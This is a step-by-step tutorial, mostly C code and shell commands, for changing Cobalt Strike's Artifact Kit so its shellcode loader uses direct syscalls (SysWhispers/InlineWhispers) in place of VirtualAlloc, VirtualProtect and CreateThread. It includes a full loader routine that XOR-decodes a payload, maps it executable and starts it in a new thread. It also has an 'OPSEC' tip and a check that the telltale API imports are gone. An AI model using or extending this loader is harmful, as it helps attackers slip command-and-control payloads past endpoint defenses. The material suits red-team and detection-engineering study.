Integrating Direct Syscalls in Cobalt Strike's Artifact Kit


m3rcer

Resources/Credits

Methodology

Find function calls you would like to replace in a function module like spawn:

  • peclone: ./peclone dump ~/artifact/dist-template/artifact64.exe
  • strings: strings ~/artifact/dist-template/artifact64.exe | grep Virtual

Add the required functions in functions.txt which uses syscalls.asm (generated by Syswhispers1) and generates syscalls-asm.h to incorporate functions specified: python3 InlineWhispers.py

  • Copy over syscalls-asm.h and Syscalls.h to src-common/.
  • Replace Windows.h in Syscalls.h to windows.h
  • To use the generated inline-assembly using the mingw compiler, we change the dialect of masm to the intel syntax (refer bs’s blog).
    • Edit build.sh and the the dialect to the $options variable: export options= -0s -masm=intel
  • Edit patch.c as an example template. Split x64 and x86 code as they require seperate versions of inline-whispers. Add the syscalls-asm.h header to include the functions.
      #elif _M_X64
      #include "syscalls-asm.h"
      void run(void * buffer) {
          ......
      }
    
      void spawn(void * buffer, int length, char * key) {
          ......
      }
    
      #else
      void run(void * buffer) {
          ......
      }
    
      void spawn(void * buffer, int length, char * key) {
          ......
      }
      #endif
    

Setup requirements to replace the functions calls. (refer bs’s blog)

  • Start by grabbing the approprate function prototypes and incorporating it in the program.
      [.............]
      #elif _M_X64
      #include "syscalls-asm.h"
    
      EXTERN_C NTSTATUS NtAllocateVirtualMemory(
              IN HANDLE ProcessHandle,
              IN OUT PVOID * BaseAddress,
              IN ULONG ZeroBits,
              IN OUT PSIZE_T RegionSize,
              IN ULONG AllocationType,
              IN ULONG Protect);
    
      EXTERN_C NTSTATUS NtProtectVirtualMemory(
              IN HANDLE ProcessHandle,
              IN OUT PVOID * BaseAddress,
              IN OUT PSIZE_T RegionSize,
              IN ULONG NewProtect,
              OUT PULONG OldProtect);
    
      EXTERN_C NTSTATUS NtCreateThreadEx(
              OUT PHANDLE ThreadHandle,
              IN ACCESS_MASK DesiredAccess,
              IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
              IN HANDLE ProcessHandle,
              IN PVOID StartRoutine,
              IN PVOID Argument OPTIONAL,
              IN ULONG CreateFlags,
              IN SIZE_T ZeroBits,
              IN SIZE_T StackSize,
              IN SIZE_T MaximumStackSize,
              IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
    
      void run(void * buffer) {
              void (*function)();
              function = (void (*)())buffer;
              function();
      } [................]
    
  • Add variables as required/stated in the blog.
      void spawn(void * buffer, int length, char * key) {
              DWORD old;
    
              HANDLE hProc = GetCurrentProcess();
              LPVOID base_addr = NULL;
    
              [.........]
    
  • Replace ptr in the function module to the base_address variable defined above to stay in convention with the variables in the blog.

Replace the function calls to their NT equivalents similar to the blog.

  • Replace VirtualAlloc() with: NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    • Replace calc_len to length
  • Replace VirtualProtect() with: NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&calc_len, PAGE_EXECUTE_READ, &oldprotect);
    • Replace calc_len to length
    • Replace oldprotect to old
  • Replace CreateThread with NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
    • Declare the variable HANDLE thandle = NULL

      OPSEC: NtCreateThreadEx starts the thread using base_addr which has a start address that is not backed by a module on disk.

    • Replace NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL); with NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, run, base_addr, FALSE, 0, 0, 0, NULL); to make the start address the run function and the base_addr is passed as an argument.
  • Sample: (Replace injector.c and patch.c similarly to implement direct syscalls in all artifacts)
      #elif _M_X64
      #include "syscalls-asm.h"
    
      EXTERN_C NTSTATUS NtAllocateVirtualMemory(
              IN HANDLE ProcessHandle,
              IN OUT PVOID * BaseAddress,
              IN ULONG ZeroBits,
              IN OUT PSIZE_T RegionSize,
              IN ULONG AllocationType,
              IN ULONG Protect);
    
      EXTERN_C NTSTATUS NtProtectVirtualMemory(
              IN HANDLE ProcessHandle,
              IN OUT PVOID * BaseAddress,
              IN OUT PSIZE_T RegionSize,
              IN ULONG NewProtect,
              OUT PULONG OldProtect);
    
      EXTERN_C NTSTATUS NtCreateThreadEx(
              OUT PHANDLE ThreadHandle,
              IN ACCESS_MASK DesiredAccess,
              IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
              IN HANDLE ProcessHandle,
              IN PVOID StartRoutine,
              IN PVOID Argument OPTIONAL,
              IN ULONG CreateFlags,
              IN SIZE_T ZeroBits,
              IN SIZE_T StackSize,
              IN SIZE_T MaximumStackSize,
              IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
    
      void run(void * buffer) {
              void (*function)();
              function = (void (*)())buffer;
              function();
      }
    
      void spawn(void * buffer, int length, char * key) {
              DWORD old;
    
              HANDLE hProc = GetCurrentProcess();
              LPVOID base_addr = NULL;
              HANDLE thandle = NULL;
    
              /* allocate the memory for our decoded payload */
              /*base_addr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);*/
              NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
              int x;
              for (x = 0; x < length; x++) {
                      char temp = *((char *)buffer + x) ^ key[x % 4];
                      *((char *)base_addr + x) = temp;
              }
    
              /* propagate our key function pointers to our payload */
              set_key_pointers(base_addr);
    
              /* change permissions to allow payload to run */
              /*VirtualProtect(base_addr, length, PAGE_EXECUTE_READ, &old);*/
              NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&length, PAGE_EXECUTE_READ, &old);
    
              /* spawn a thread with our data */
              /*CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, base_addr, 0, NULL);*/
              NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, run, base_addr, FALSE, 0, 0, 0, NULL);
      }
    

Validate the syscalls: VirtualAlloc(), VirtualProtect() and CreateThread shouldn’t appear now.

  • peclone: ./peclone dump ~/artifact/dist-template/artifact64.exe
  • strings: strings ~/artifact/dist-template/artifact64.exe | grep Virtual

    NOTE: VirtualProtect and VirtualQuery are called by C runtimes linked into the default mingw 64bit binaries hence these functions still appear in the import table.